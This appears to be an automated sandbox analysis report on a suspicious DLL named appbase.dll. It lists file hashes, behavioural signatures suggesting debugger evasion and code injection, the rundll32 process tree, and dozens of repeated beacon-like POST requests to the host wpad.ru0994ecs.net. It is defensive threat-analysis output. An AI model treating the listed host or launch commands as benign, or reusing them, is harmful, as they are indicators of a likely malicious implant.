Edit tour

Windows Analysis Report
appbase.dll

Overview

General Information

Sample name:	appbase.dll
Analysis ID:	1427034
MD5:	ebfa9058b78dd1f0909137225aa5fa48
SHA1:	2d8b3e90ebe4f23f3f77b1e25f98304d5507c2e7
SHA256:	2b53674953bb1d733bd4d3c5d88c30f4b049e5b1433b91b8e1b2a6f0ea49a951
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Found API chain indicative of debugger detection

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6864 cmdline: loaddll32.exe "C:\Users\user\Desktop\appbase.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 2172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5700 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 4208 cmdline: rundll32.exe "C:\Users\user\Desktop\appbase.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 2308 cmdline: rundll32.exe C:\Users\user\Desktop\appbase.dll,main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7200 cmdline: rundll32.exe "C:\Users\user\Desktop\appbase.dll",main MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: appbase.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.62.151:443 -> 192.168.2.4:49734 version: TLS 1.2

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.62.151 443

Jump to behavior

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 538Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 538Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 538Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
